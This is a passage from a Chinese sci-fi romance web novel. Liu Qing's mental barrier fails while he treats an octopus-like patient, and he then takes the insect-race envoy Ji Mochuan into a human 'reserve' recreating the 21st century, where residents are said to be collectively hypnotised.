梁三山的视线又在季末川跟露西亚身上溜了一圈,最后落在刘清脸上。
“?”
刘清给她介绍,“这是露西亚,老夏的远房侄子的女儿。这是季末川,虫族,康恩殿下的代理人。”
“?!!”
梁三山一下瞪圆了眼睛,用舌头顶掉嘴里的吸管,掩耳盗铃地小声问刘清,“康恩殿下的代理人是个什么虫?”
季末川当然听到了,却也没说什么,笑吟吟地看向刘清,等他回答。
刘清没答,继续说道:“老夏跟我说,虫族进入了繁衍季,这一个月里星球都是处于封闭状态,所以虫族会在这里待一个月。这一个月里,我负责接待季末川‘殿下’。”
梁三山的眼睛更圆了一些——她太了解刘清了,更清楚刘清这话传递的重点在哪儿。
她盯着刘清挤了挤眉毛,刘清缓慢又轻地闭了下眼,梁三山立刻瞠目结舌。
——两个人于无声中完成了一个秘密的交接。
梁三山狐疑道:“那你叫我过来是?”
刘清指着露西亚,“我不会带孩子,你帮我看着她。”
梁三山无语,“我就会带了?”
“你至少是女人。”
“女人跟妈妈是两回事。”
“一万星币。”
“成交。”
刘清毫不意外她的果决,又跟她交代一些细节,“她被季末川殿下的共感域恫吓过,所以有些粘人。你随时联系老夏,等她们那边一谈完,你就把人送给她爸就行了。”
梁三山看了眼蹲在桌上,贴在刘清手臂边的小可怜一眼,“她能乐意跟我玩?”
“我已经跟她聊过了。没问题。”
露西亚闻言耷拉了耳朵,看了梁三山一眼。梁三山露出一个灿烂笑容,跟她挥挥手。露西亚眨眨眼,倒也没有露出抗拒的姿态。
“这不挺乖的。”梁三山不解,“你是有事要做,不能带她?”
刘清“嗯”了一声,“护理病人带着她也不方便——总不能让季末川殿下帮忙带孩子吧。而且我打算下午去保护区一趟。”
梁三山于是更疑惑了,“现在?”
“嗯,小事情,但尽早去搞清楚比较好。”
“可今天所里进了这么多共感游离的,你不怕自己的病人被影响?”
“我的病人已经让老夏暂时转出去了,就留了两个,应该没……”
刘清的话没说话,终端的内部系统就传来了警报。
梁三山摊手,“我说什么来着。”
刘清:“……”
10.屏障失效。
刘清手里留的两个病人,一个是老万,另一个是个索塔尼亚人,叫科马斯。
发警报的就是科马斯。
简单粗暴地解释,索塔尼亚人就是古地球时代的“人鱼族”“深海族”。与传说的人鱼一样,他们也有“魅音”这样的技能——以声音作为次级共感的介质。
在所有的亚人族里,他们种族的次级共感平均等级也是中上。
但并不是所有索塔尼亚人的魅音都好听。
刘清才走到科马斯的院子外头,就听到了里头慷慨激昂的歌声,虽然没有伴奏,但也听得出是一首摇滚,并且还是当下星网热门歌曲排行榜上的。
伴随着歌声飘散出来的,还有歌者愤懑的情绪。
季末川只听了一句就懂了那愤懑的情绪,但直到刘清也停下脚步,在门前木着脸后,他才开口问:“你的这个病人这么恨嫁吗?”
“他有八个未婚妻。”
“那这是?”
“少精。”
“哦——。”
索塔尼亚人的繁殖能力是星域第一,少精症在科马斯老家那边得算是一种“不死绝症”。
“你还能治少精?”
“……”真是个好问题。
“他是共感错位引起的介质失调。原本攻击他人共感域的介质变成了攻击自己,攻击的地方……”
刘清看了季末川一眼,视线又朝季末川的下腹到了一下。
季末川“啊”了一声,点点头,懂了。
“他的魅音确实不太好听。”
“哦,失调的不是音调,他天生唱歌难听。”
“……”
推门进去,入目的就是一个巨大的水库。深水碧蓝,飘着从水底生长起来的水草花,与湛蓝的天相映成趣。
水库中央立着一个长发男人,他没有穿衣服,腰部以上露出了水面,身体瘦弱修长,皮肤是一种没有血色的惨白,在阳光下折射出莹润的水波光泽。
像一朵盛世白莲。
白莲双手交叠放在胸前,引吭高歌,湿透的长发一直坠入深水之中,在水面下蜿蜒出一片云雾般的迤逦痕迹。
单看画面,是美的。
但对长了耳朵的人是残忍的。
刘清面无表情地从储物芯片里掏出了一个小喇叭,打开后,喇叭发出了刺耳的一声直破云霄的嗡鸣——那音量实在是与喇叭尺寸严重不符,乃至于季末川都被吓了一跳。
更何况是对声音极其敏感的索塔尼亚人。
水库里的男人“哇”地尖叫了一声,急忙捂住了耳朵,水面下发出好大一声“哗啦”动静,整个水库的水面都涌起了波浪。
“吵死了吵死了!刘清,我要投诉你!”
刘清听不到,因为喇叭在嗡鸣过后,又唱起了欢快的自录音:哔哩哔哩啵——哔哩哔哩啵——
这鬼动静响了足足三十秒才停歇。
水库里的男人完全放弃了抵抗,在第五秒的时候就整个沉进了水里,看不到丝毫踪迹了。
刘清也不着急,就举着喇叭对着水库喊,“科马斯先生,我收到了您的警报信息,请问您的身体有什么不适吗?”
没有回应。
但在刘清十米远的位置,一条颀长的腕足从湖里探了出来,皮肤变了颜色,与水库边葳蕤的绿植带融为一体,缓慢朝着刘清的方向游走来。
刘清没有察觉。
季末川倒是朝那边瞥了一眼,腕足瞬间停住了动作,肉眼根本分不清任何的边界。于是季末川又收回了视线。
“科马斯先生,如果您不好好控制您的情绪,您的病情还会进一步恶化,最终会导致生理的真正病变,也就是——”
刘清突然抬起脚原地一跺,水库里应声“哗”地一下窜出来一只巨大的褐色章鱼。
“啊啊啊!疼疼疼疼疼!!”
章鱼的头有蹦床那么大,发出了科马斯的尖叫声。褐色的腕足粗壮如巨蟒,也不知道有多少条,树根一样虬结在一起扭动,搅得水库风生水起。
那条游走到刘清脚底下的腕足因为疼痛失去了伪装,整条腕足的皮肤飞快地变化着颜色,余下部分沉入了水底,但被刘清踩住的这一截却像是被钉在了原地,动弹不得。
刘清无动于衷,慢条斯理地补完了最后的话,“不育。”
“我知道了我知道了,你快松开!!”
刘清似乎这才发现自己踩到了东西,不慌不忙地低头看了眼,然后露出一副做作的惊讶表情。
“哦,抱歉。交接腕这么重要的东西,您下次还是不要乱放的好,毕竟您的内存都不够了,要是硬件再弄坏了,那可真的无力回天了。”
科马斯:“……”
季末川:“……”
他抬起脚,顺便一脚把那条交接腕踢回了水里。
“所以,您发出信号是因为什么呢?”
“……”
章鱼委屈得很,其他腕足抱着被踩的交接腕,哼哼唧唧了好一会,才说道:“今天有人袭击我,我感觉我的共感域好了。”
刘清翻译了一下他的话,“您是说,您介质失调的根源是欠虐?”
科马斯:“……”
“请放心,我对您的癖好没有任何有色眼镜。不过以防这些是您的妄想,我们还是来做一个简单的测试吧。”
他收起了喇叭,拿出了一个便携测试仪。
科马斯忿忿道:“要是你爱上我了,我可不负责。——你旁边那小白脸是谁?我可不想被一只白斩鸡爱上。”
季末川好脾气地笑了笑,没说话。
刘清平静道:“放心吧,他不瞎。”
科马斯:“……”
科马斯气得吐泡泡,“你等着——”
说罢,章鱼整个朝水下沉去,眨眼间又变成了半截身体在水面上的“盛世白莲”。
他优雅地朝着刘清的方向伸出修长的手臂,指尖挂着珍珠一般莹润的水滴。
他张嘴,发出的却是一串低频的古怪声音。
魅音入耳,带来的是无尽的愉悦和美好的幻想,仿佛所有的美妙都将在下一刻实现。
刘清微讶。竟然真的好了。
接着他更惊讶:屏障又崩了。
操。
刘清在心里骂了一句,同时他飞速地加固屏障,但他很快发现,屏障崩塌的速度比他构建的速度更快。
魅音的影响逐渐深入了他的意识。
而科马斯也发觉了这一点,瞬间喜上眉梢,并加大了攻击力度。
歌声一瞬变得暧昧。
啵。<
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刘清第一次听到自己共感域的声音。像是一个薄如蝉翼的玻璃肥皂泡,被轻轻碰碎的声音。
紧接着,是铺天盖地的情绪潮,劈头盖脸地砸了下来。
青春期的第一个梦,前世心动的第一张脸,不为人知的那些夜晚……绮丽的记忆被一一从时间深潭里捞出,连带着当时的感知,无孔不入地侵袭着刘清的每一条神经末梢。
大爷的!
刘清的身体立马滚烫起来,久违的快感让他一时间忘记了抗拒。
科马斯见状狂喜,涌动着波涛朝着岸边卷来,想要把刘清拖入水里。
人高的大浪兜头盖向岸边,却在千钧一发之际,硬生生被截停在了空中,紧接着连同整个水库的水一起,像是被人连锅端起震了一震,大浪反扑,卷得科马斯在水库里翻了个跟斗,变回成了章鱼形态,也断掉了魅音。
魅音戛然而止。
科马斯感到自己的意识被一万把尖刀,细密地割裂出了密集的口子,无数的负面记忆从这些裂口中涌出、膨胀,被捏造成一个巨大的怪兽,霸道地吃掉了科马斯脑海中那些幸福回忆——童年的愉快记忆,与朋友相处的美好时光……
“不……不要……”
科马斯从喉咙里挤出颤抖的、哀求的声音,声带因抗拒“威压”而撕裂出血。
恐惧淹没了他。
但很快,那份威压消失了,他只听到一个很轻的“滚”字。
那简直比那一万把尖刀还要可怕!
“啊!”
科马斯惊恐地尖叫一声,像是见了猫的耗子,七手八脚地把自己沉入了水库底。
…
刘清回过神,发现自己被季末川扶着,整个人靠在别人怀里。
“……”
刘清忙推开季末川,一边重构了屏障,一边道谢:“谢谢您。科马斯呢?”
季末川放下手,愉快地说道:“被你打下去了。”
刘清:“……啊?”
季末川笑了一下,“放心,你很有分寸。我也警告过他了。不过你还是不要再压制自己的共感域的好。”
刘清神色一凛,“我不懂您的意思。”
季末川自说自话道:“共感域也是有‘生命’的,它就是潜意识。人类的潜意识是掠夺,共感域的本能是融合。
“过高的共感域本能地藐视所有低等的共感域,在虫族,它体现为信息素。如果刻意压制这种本能,长期以往,就会导致共感域的内部失控。
“就像你刚才那样,稍微一点外界的刺激,你的共感屏障就会失效,如果你的‘死本能’再强一些,刚才那只章鱼应该会更惨。”
“……”
“不过一般这种情况都是有诱因的。比如一次主动的失控,否则共感域的本能也不会被激活。——你最近有做什么失控的事吗?”
“……”
喝醉到断片算吗?
刘清深吸一口气,“谢谢您的科普,我会注意检查自己的。”
季末川却很遗憾,“不需要我的帮忙吗?”
“不必。”
“这个也不需要吗?”
“……”
刘清顺着季末川的视线下移,落在了自己的腹下的异常轮廓上。
“……”
11.保护区
淋浴头的水“哗啦啦”地响个不停,偶尔从水流里闷出一两声努力压制的,短暂的喘息。
过了一会,水流停止,刘清围着浴巾从浴室里出来,白皙的皮肤上染了大片春日般的粉。
“啧啧啧啧。”
阿强趴在休息室的小桌上,发出一串阴阳怪气的声音,“五十二分钟,刷新你记录了耶~”
刘清当没听到,从衣柜里拿出放这备用的衣服,然后解开浴巾,随手扔到了桌上,活埋了阿强。
阿强发出尖锐爆鸣:“啊啊啊啊!我脏了!!!”
“闭嘴。”刘清的心情不甚美好,“刚才我不清醒那会发生了什么?”
阿强推开浴巾,一摊手,“不知道。”
刘清穿裤子的动作一顿,皱眉看过来。
阿强无语死了,“你瞪我也没用啊。我只是一台离线系统,寿命绑定的你,感官绑定的是机器——刚才那波共感域袭击,这台终端没短路,都得亏我当初先见之明,花大价钱给它做了魂力回路防护。
“我就看到你脑袋一歪,栽人家怀里了。完了他让科马斯‘滚’,然后你就醒了。”
刘清回想起季末川那会的话,“我就晕倒了,没有对科马斯做什么?”
“反正我是没看到你做了什么动作。但听季末川的意思,掀翻科马斯的那波应该是你做的——也不意外,你共感域的等级在那摆着,自我保护本能的抗拒足够让科马斯喝一壶的。
“话说回来,你的共感域到底咋了?之前你也不是没作死过,哪次也没这次这么严重啊。”
“我不知道。”
刘清也正烦这事,他的共感屏障现在也还没能完全稳固,“总之先去找老贾问问。”
…
刘清从休息室出来,一眼就看到了等在房门外的季末川。
季末川的旁边还站着一个虫侍。虫侍给了季末川一个小盒子,看到刘清出来,虫侍对刘清点了下头,然后转身走到院子里后飞走了。
“刘清。”
季末川笑着走过来,停下的时候,他的鼻子在空中嗅了一下,然后笑容越发灿烂,他问道:“你没有过男朋友啊?”
刘清:“……”
这他妈也能闻出来?
季末川笑出一口白牙,“我也没有。”
“您有虫王陛下。”
刘清果断结束了这个话题,“我要去一趟保护区,您可以在护理所休息一下,这里有一个娱乐区域。”
季末川果然拒绝了,“我和你一起去。刚才虫侍给我送了点零食,你要尝尝吗?”
他拿着刚才的那个盒子。
“谢谢,不用。您如果要跟着去,那还需要给您办理一些手续。”
刘清说着,一边朝广场方向走去,一边给老夏打了电话。
这一次老夏很快就接通了,那边的会谈刚刚结束。
刘清:“季末川殿下想去保护区看看,你跟联盟署那边说一声,手续给个快速通道。”
老夏很惊讶,“他也要过去?”
“也?”
“调查保护区啊。怎么,他不是去做这个?”
“为什么要调查保护区?”
“还能为什么,当然是因为这次的事故。
“我听了个大概,说是按道理讲,他们的舰艇不该被吐到这边来。之所以过来,是因为这边有大体量的共感域吸引,触发了蜕变的伪王的一些主观能动性。
“为搞清楚伪王的‘行为异常’是不是由保护区那边引起的,所以要对保护区进行调查。”
“你是说,他对我的态度,是因为保护区的共感域影响?”
“反正塞弗恩特是这个意思。”
刘清想,那他的屏障失效,会不会也是这个原因?
“调查组的都有谁?”
“虫族跟联盟方。——季末川不是去调查,那是去干嘛?”
“好奇吧。你把他的信息也一起办了吧,我这会就要带他过去了。”
老夏应了一声,突然又记起什么,“你别把露西亚也带进去啊,万一真是保护区的共感域出了问题,小家伙受不住的。”
“她在梁三山那。”
“啊?”
“如果调查组那边有什么新进展,也跟我透个风。回头联系。”
…
保护区,全称“原生人类保护区”。
刘清称它为“楚门的世界”。是个让他喜欢也厌恶的地方。
车行到到生活区的边缘,远远看到一堵高山一样的青石墙,墙面上爬着锦华的常青藤,郁郁葱葱。
站在它跟前抬头望,仿佛它能直入云霄。
这堵墙的后面就是保护区。
刘清带季末川进了墙边的一幢大楼,径直去了三楼的一个办公室。
里头的工作人员抬头看到他,旋即笑了起来。
“来啦。我这才刚接完夏所长的电话呢。”
他起身走出了工位,“你这边我就不操心了,这位季先生——是吧?请跟我来。”
季末川看了刘清一眼。
刘清简单跟他解释了一句,“这是进保护区的规定程序,您听他的安排就是。”
季末川便乖乖地点头,“好。”
他跟着工作人员拐进了一扇门,进了一个非常大的衣帽间——这里真的太大了,简直跟博物馆一样。
里边也还有其他的人在,都是由一个工作人员带领着,一边讲解一边挑选着什么。
带着季末川的人也跟他讲解,“这里是换装区。现在保护区里边的时代背景是古地球的二十一世纪,所以进去的游客都需要进行符合时代的换装和身份变更,必要时进行一些行为培训,以确保不会让里面生活的原生人类感到混乱。
“保护区里的时代主题十年一换,三年后我们打算把时代背景锁定在一个州的区域,初步计划是亚洲的盛唐时代,如果您有兴趣,到时候可以再来游玩。”
季末川兴趣寥寥。
他停下了脚步。
“刘清是什么身份?”他问。
工作人员应声回头,接着骤然僵住了表情。
季末川什么都没改变,只是脸上没了在刘清跟前那种纯真的表情。一双眼懒散地半睁着,目光落在你身上的时候,像是在看你,但又像是没把你放在眼里。
他没有任何的敌意,可就是让人在他的注视下大气都不敢喘一声。
刚才他可不是这个样子的。
工作人员感觉自己的
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背上瞬间出了一层薄汗。
“啊。您,您说刘清?”
工作人员结舌,用力吞了口唾沫,顺道偷偷喘了一口气,“他在里头的身份设定是,是个刚毕业的新媒体从业者。”
“他有亲人朋友吗?”
“没有。一般我们不建议游客设定亲密关系。”
季末川很满意这个答案,嘴角噙起了一抹笑意。
“那……”
他转身在旁边的玻璃展柜上看着自己的倒影,那张小少爷的脸上又浮出一汪软乎乎的烂漫。
“我要当他的弟弟。”
工作人员毫不犹豫地点头:“好,我立马给您安排。”
…
刘清常来保护区——这次的时代背景和他前世的太像了,他几乎是沉迷地沉浸其中。
他用了五分钟不到就换好了衣服,又等了快半小时,工作人员才带着季末川出来。
“……”
刘清看到季末川的第一眼,脑袋上就冒出了一个问号。哈?
他猜过季末川会选的身份,但怎么也没想到他会变成这样:一身青春洋溢的休闲套装,球鞋,项链,耳钉……嵌在那张乖宝宝的少爷脸上,像是哪个公司培养的新人爱豆。
而且最重要的是。
“您看上去像是未成年。”
工作人员及时补充说明道:“季先生在保护区的身份设定是:刚毕业的高三学生,趁暑假来找哥哥玩。”
刘清一秒抓住了重点,“哥哥?”
工作人员干笑,“嗯。你。”
“……我同意了?”
“季先生是你带来的,我以为你们已经沟通好了。”
“……”
季末川歪头作出一副可爱模样,“哥哥,我不可以当你的弟弟吗?”
刘清:“……”
他脚边的一只大金毛把嘴巴一歪,吹了声口哨,“刺激。”
季末川看向它。
大金毛抬起左前爪,自我介绍,“我,阿强。”
季末川笑了一下,“你这个样子更可爱些。”
阿强:“您也一样。”
季末川开心,“谢谢。”
阿强:“不客气。”
刘清:“……”
你俩还聊上了?
算了。
刘清放弃争论这个身份问题,对季末川说:“进了保护区后,请您一定紧跟着我。做任何事情前一定要问过我,您听明白了吗?”
季末川点点头,“刚才工作人员跟我说过了,我明白。不过,你是不是也不要对我敬称的好?哪有哥哥叫弟弟‘您’的?”
这点刘清倒是无所谓,“这些您就不用操心了,身份切换上,我应该比您熟练。”
季末川笑了起来,“那我也得现在就开始熟悉。走吧,哥哥。”
他两步走到刘清的身边,手臂挨着刘清的手臂。
刘清:“……”
也不知道为什么,他就是觉得季末川现在很开心,非常开心。如果金毛阿强的尾巴放到季末川身上,这会应该都摇成了螺旋桨。
这么喜欢当弟弟?
刘清默默腹诽了几句季末川的癖好,面无表情地带着季末川朝安检处去了。
12.理想型
那堵高墙的大门后头不是通天大道,而是一个四面封闭的承船舱,里面停放着一艘崭新的华丽游轮。游客上了船,最后一面舱门也随之封闭,游轮上的灯光乍亮,蒙面的侍者们鱼贯而出。
轰隆隆。
游轮下传来震动声,整个游轮都在被传送。
一刻钟后传送停止,承船舱里开始涌入大量的水流,顶层的铁板随之打开。游轮随着水位上升,当它完全与外面的水位平齐,它便出现在了大海上。
不远处的海平面上,就是二十一世纪的港口。
“这里好热。”季末川伸手挡住阳光,视线从湛蓝的天空掠过,“天也是假的吗?”
“嗯。现在这里的设定是盛夏。”
游轮抵岸,汹涌的人声、机器轰鸣和蝉鸣声席卷而来。招揽乘客的司机和小贩人头攒动,琳琅满目的商店和餐厅争奇斗艳。
热闹得仿佛一场盛大的夏日派对。
刘清叫了一辆车,报了一个地址。期间,他打了两个电话,但都没人接听。
季末川问:“你是来找人的?”
刘清简短应了一声,“嗯。”
“朋友?”
“嗯。”
“男的?”
“嗯。”
“你喜欢的?”
“……”
“看来不是。”
“……”
车抵达了目的地,是老城区的一个小区。环境虽破旧,但绝对说不上坏——毕竟它还在主城区。
刘清敲响了603的门。
房门打开,里头是一个中年女人,盘着发,穿一身米白色的老式旗袍,一见刘清就笑了。
“小刘你来啦,我正想找你呢。快进来,外头热得呢。”
刘清叫女人“曾姐”,打了招呼就进门了。
房子七八十平,算不上宽敞,但布置温馨,墙上挂满了各式各样的合照,很有生活气息。
这会是保护区的下午时间,房间里的空调和风扇都开着,凉爽的空气一下吹散了酷暑的燥热。
“哎哟,这个小孩是谁呀?长得真漂亮。”
曾姐看到跟刘清进来的季末川,露出惊艳的表情来。
刘清不太热情地介绍了一下,“我表弟,季末川,暑假过来玩两天。”
季末川却自来熟地露出灿烂的笑来,“曾姐好。”
曾姐一乐,“你个小娃娃,还是个学生仔,得叫我姨。”
季末川:“怎么会,我都成年了,叫您姐姐刚好。”
曾姐被逗得眉开眼笑,“这嘴巴可真甜。你们坐,我去给你们取冰吃。”
季末川:“谢谢曾姐。”
刘清:“……”
刘清跟金毛不约而同地看向季末川。
季末川泰然自若,“怎么了?”
刘清:“……没什么。”
金毛也收回了视线。
刘清的手机震动了一下,微信上跳出“阿强”的消息:我目测,这是个戏精。
刘清:1。
曾姐拿了冰淇淋出来,还切了一小盘西瓜。
“你是来找老贾的?他今天一大早就出门跑货去了,要后天才能够回来。是有啥急事吗?”
刘清已经有所预料。
在保护区里,一旦“出远门”,就会出现联系不上的设定。
刘清:“倒不算急事,就是想问下他昨天给我喝的什么酒,我好像有点过敏反应。”
曾姐一听就变了脸,“他又跟你喝酒了!?你哪过敏了?严重吗?”
“不严重,已经没事了。”
刘清制止了曾姐要来查看的手,又问,“昨天的酒瓶还在吗?我拿去医院测一下过敏原。”
结果曾姐听到这话,立刻气不打一处来。
“那肯定没了!今早我一回来,就看到他把屋里打扫可干净了,我还琢磨着他是终于转了性,听了医嘱。结果可好,敢情是给我毁尸灭迹的!”
刘清:“……”
老贾有脂肪肝,被医生勒令戒酒。
曾姐的矛头一转,又数落起刘清来。
“你也是,别仗着自己年轻就作,他都要领退休金的人了,你跟他学个什么坏毛病?难道你也想老了变他那样一身毛病的?”
刘清连忙服软,并转移了话题,“老贾说那是果酒,我就当饮料呢。——对了,你刚才说正好找我,是有事?”
曾姐嗔了他一眼,又起身去了厨房,提出来了一个塑料袋,里头装满了饺子。
“这是我昨天跟朋友去徒步的时候摘的蘑菇,早上刚包了饺子。可能还没冻透心,你赶紧拿上去冻着。我明天还要包,到时候再给你拿,你都囤着,少吃点那些垃圾食品。”
刘清接过来,笑着道了谢,“那我先拿回去了,老贾回来的话,你让他给我回个电话。”
曾姐:“行。”
…
刘清的“家”就在楼上。701。
房间布局和楼下一样,而且装修布置也一点都不马虎,还种了许多的热带植物,上了灯,长势极佳,显然是时常打理且精心养护的。
季末川有些诧异,问刘清:“你经常到这来吗?”
刘清把饺子放进冰箱,顺手拿了两罐饮料出来。
“保护区有‘常客’机制,可以沉浸式长期体验这个时代的生活,在这里面的住房或者其他财产,都会有大楼里的管家帮忙打理。”
虽然这么说,但刘清还是自己拿起了园艺剪刀,准备去给一些植物修个枝。
季末川坐在沙发上,还在吃曾姐给的冰淇淋,视线跟随者刘清的背影,“那这里的装修是你自己做的,还是管家做的?”
“我设计的。”
这是他的“梦想屋”,前世多次在脑海中勾画过。但很奇怪的是,装修好之后,他反而没有愿望达成的满足感,连过夜都很少在这里。
季末川闻言立刻来了兴趣,“我能参观一下吗?”
刘清头也没回,“只能在客厅。”
其实刘清的客厅不小,是餐客书一体,厨房也是开放式。
季末川笑着应了“好”,视线第一时间落在那满墙的书柜上。
书柜里的书很多,类型也非常杂。一部分没有拆封,大部分已经拆过,且有翻动的痕迹。
季末川走近去看,有些意外,“这是古地球的文字。中文?”
保护区里虽然复刻了时代背景,但为方便游客,语言文字都是联盟通用语。
刘清倒有些意外,“你认识?”
季末川伸出食指点了下自己的太阳穴,“虫族是集体意识,领主级别的个体会有记忆传承。我最早的记忆可以追溯到星际开荒时代。”
刘清记起这茬,“哦”了一声,“真方便。”
“也不都是好事。记忆是很私人的东西,如果消化不好,共感域会
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在成年前就崩塌。”
“绝对的权力就有绝对的代价,总不能什么好都让你们占了吧?”
季末川莞尔,“你说得对。”
他从书架上抽出一沓叠放的杂志,看到封面的时候愣了一下,然后把手里的冰淇淋丢进了垃圾桶,津津有味地翻起了杂志。
过了一会,刘清听到季末川问:“刘清,你喜欢这类型啊?”
刘清抬头看过去。季末川翻开一本杂志,朝着他这边,杂志里是一个长相英俊的混血男模,眉眼深邃,看向镜头的眼神非常有压迫感。
重点是,男模只穿了内裤。
刘清:“……”
哦豁。
刘清并不窘迫,反倒记起了一件事,“说起来,你怎么知道我喜欢男的?”
“这不算是个秘密吧?”
“但我也没宣扬。”
季末川摇头,“我是说,以你面对‘优质’男人时候的共感域波动来看,这不算是个秘密吧。”
刘清:“……”
忘记这茬了。
季末川又举起了那本杂志,“所以你喜欢的是这种类型?”
“我们有熟到可以聊这种私密的事吗?”
“可是熟人都是聊出来的。”
刘清没理他。
季末川自顾自说起来,“那我猜猜看。你喜欢的类型,长相肯定是要好看的,最好是有攻击性的那种英俊,但看你的时候眼神要是温柔的。
“性格嘛,独立,勇敢,热情,善良,最重要的是有趣,永远可以发现生活中的小乐子,并总是保有十二万分的热情去对待生活。”
刘清修剪的动作停下,讶异地看过来。
“爱情观念上,当然是忠诚的,懂得给予爱并接受爱,会够沟通交流,会沉默陪伴。
“其他方面,要有成长意识,不用太过上进,但要不断纠正自己的缺点;要懂得满足,感恩当下,但不会一成不变。”
季末川合上杂志,“如果能满足上面所说的五成,想必样貌差一点,你也是能够接受的。我猜对了吗?”
刘清:“……”
刘清问:“你探过我共感域了?”
“怎么可能?你别冤枉我。虽然你的共感屏障确实是皇帝的新衣,但我不会对你做这种冒犯的事情——所以我是猜对了。是吧?”
“……”
刘清倒没否认,“你陈述的这些简直是完美恋人范本,谁不喜欢这样的人?但真按照这个标准去找,大概要单身一辈子吧。”
季末川“哦”了一声,“怪不得你现在还是单身。”
刘清:“……”
你可真会聊天。
季末川看着刘清,又问:“可是刘清,如果真的有一天,你遇到了这样的一个人。你会相信他吗?”
刘清一愣,“什么意思?”
季末川直视着刘清的眼睛,那视线如此认真,仿佛要坠入刘清的灵魂。
“你会相信这样一个在你脑海里‘完美’的人,爱上了你——热烈地、不可救药地、毫无理由地、死心塌地地爱上了你。
“这份爱,你会相信吗?”
刘清怔住。
过了两秒,他张嘴意图回答,但嘴巴张开两秒,又缓缓合上了。
他其实也问过自己这个问题,问过好多次。可每一次,他都没有办法回答自己。
这一次也一样。他没有回答。
13.共感调频。
他们没有在保护区久留。
掐着游轮“离港”的班次时间,刘清叫了车出门。
这会快到晚饭时间了——以天为单位的时间,保护区跟外面是保持一致的。路上堵得厉害。
刘清在副驾驶闭目养神,季末川也没打扰他,有好奇的就问阿强,阿强“汪”个两声算是回应。
直到季末川看到了熟悉的人。
“是塞弗恩特。”
刘清睁开眼,朝外头看了眼。
车正行经人民公园前的钟鼓楼,算是这个“城市”的中心区。外面车流如织,完全找不到目标。
“在那。”
季末川从后座贴上来,手臂从座椅与窗户的缝隙间伸过来,手指点在刘清旁边的车窗上。
刘清的视线不由自主落在他修长的手指上——与季末川的身高相比,他的手脚乃至手指的长度都非常出挑。
也非常漂亮。
刘清很快收回视线,目光随着那根食指的方向延伸。
就在钟鼓楼前,原本禁停区的位置停了一辆黑色的厢车,车上下来了几个人。
刘清没有看到塞弗恩特,倒是看到了莱斯特。
莱斯特换上了衬衫西裤,一副二十一世纪金融精英的斯文模样。
别说,他还真适合二十一世纪的气质。
季末川的手指突然又移动到了刘清的视野里,精准无比地按住了莱斯特的脑袋。
“那边穿玩偶服的那个。”
刘清看他一眼,又去看他说的那个玩偶服。
玩偶服是充气的那种,非常高大的树人玩偶造型。
它其实很显眼,但刘清以为那就是个保护区里的人。
“塞弗恩特?”
“嗯。”
“……”
刘清的表情变得很微妙,脑海里不可遏制地出现了一些不忍直视的画面。
也是亏了堂堂虫侍领主大人,居然也能接受穿玩偶服的提议。
咔嚓。
耳边响起一声快门声。刘清转头,发现季末川正拿着手机拍那个玩偶。
刘清:“……”
季末川冲他一乐,“机会难得。”
“……”
倒也确实。
“他们在这是来查……”
“咳。”
刘清打断季末川,轻轻摇了下头,“船上再说。”
季末川反应过来,点头应了。
…
返程的游轮上。
“我听说了成立调查组的事情,也知道塞弗恩特的猜测。但如果要坐实这个猜测,那可需要一个非常庞大的共感域。”
季末川回头看着渐行渐远的城市陆地,视线落在钟鼓楼的方向。
“这里有这样的共感域存在吗?我一点都没感觉到。”
“因为它还没开启。”
“什么?”
刘清从侍者那里拿了一瓶冰水,喝了一大口,似乎被冰到了,用力皱紧了眉。他后脑上的介质触须延展了一些长度,在刘清身后水母触手一样晃动着。
季末川飞快瞥了它们一眼,没说话。
刘清缓了几秒被冰到的刺激,然后才回答季末川的疑惑。
“共感调频。”
季末川快速翻找了一下记忆,一无所获,“我没有听过。是做什么用的?”
“据我所知,它是保护区的‘特产’。虽然我不知道它到底是怎么样的一个东西,但我见识过它的威力——你也听过,工作人员肯定会给你介绍:保护区的主题十年一换。”
“确实跟我介绍过。”
季末川想了一下,立刻想明白了。
“保护区的原住民不知道外面的世界。所以十年一次的主题更换,要么是连人一起换,要么就是集体催眠?你说的‘共感调频’就是给原住民洗脑的?”
“差不多吧。”
“那需要非常强的共感操控。双S也很难做到吧。”
“哪个S都做不到。保护区的原住民数量一直保持在七万以上,十万以下,现在这个主题算少的,但也有七万多人。要同时跟七万人建立共感连接,并催眠他们……除了虫族,没人能做到。”
季末川瞪圆了眼睛,“我可没这么做。”
“……我只是打个比方。”
“哦。但保护区真的做到了。”
“嗯。”
刘清又喝了一大口冰水。他脑后的纤维延长了两倍,一条蔫着搭在刘清的肩膀上,一条像是发脾气一样,在空中时不时甩两下。
“……”
季末川还是当做没看到。
刘清:“每次主题更换需要一个月的时间,这个时间更多是留给场景翻新的。这一个月里,这里所有的房屋、山脉、河流……会像是积木一样,被推倒、搬走、拼凑……变成新的主题。
“这期间,所有的原住民都照常生活,对眼前的剧变视而不见。哪怕前头的公寓变成了挖空的悬崖,他们也会提着购物袋开心地一脚踏过去。”
“共感调频的精度不够吗?”
刘清“嗤”了一声,“除了共感调频,保护区还有个特产,叫‘区域调整’。意思就是,对一些更新难度大,转移价值低的区域和人,会直接进行摧毁。比如一场车祸、一次房屋坍塌事故、一场雪崩。调整得干干净净。”
季末川有点意外,但也只是一点。他更在意的是刘清对他的态度。
他狐疑道:“你喝酒了?”
“……”
刘清把手里的冰水瓶身转过来,露出商标,“你不认字?”
“我认字。我就是觉得你突然对我有点知无不言了。”
“……”
刘清的介质触须突然都安静了下来,然后不约而同灰溜溜缩回刘清的背后藏了起来。
季末川没忍住笑了一下,然后在刘清翻脸前继续刚才的话题。
“如果保护区里真的有能操控十万人的共感域,那塞弗恩特的推测确实有几分道理。这个共感域是人吗?”
刘清摇头,“我不知道。没有人知道。”
“也是。无论是人还是仪器,这是绝对的商业机密了。看来这次调查不会很轻易。”
季末川说完,突然把话题拐了个大弯。他笑着问刘清,“那我们现在算是熟悉一些了吗?”
“……”
刘清扭过脸,去看另一头的风景。
他脑后的两
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条介质触须就成了季末川的风景。
季末川看着它们:堪堪过肩一点的长度,大概是刚才折腾累了,这会趴在刘清的背上,两条触须挂钟一样规律地互相撞着。
有些烦躁,有些无聊。但没有丝毫对他的厌恶和抗拒。
“……”
季末川抿直了唇线,压着笑。
这简直就是刘清的共感域显示屏——刘清自己知道吗?
·
换回自己的衣物,打开终端的第一时间,刘清就看到了梁三山的好几条未接来电。
他回拨了过去,电话刚接通,他就看到了大楼阶梯下的梁三山。
以及她怀里的露西亚。
刘清:“……”
他脑袋后的介质触须几乎是立刻就炸了,像是被吓到的猫尾巴,竖起来朝后,像是极力要把刘清拉走。
季末川看得津津有味。
“可算回来了。”
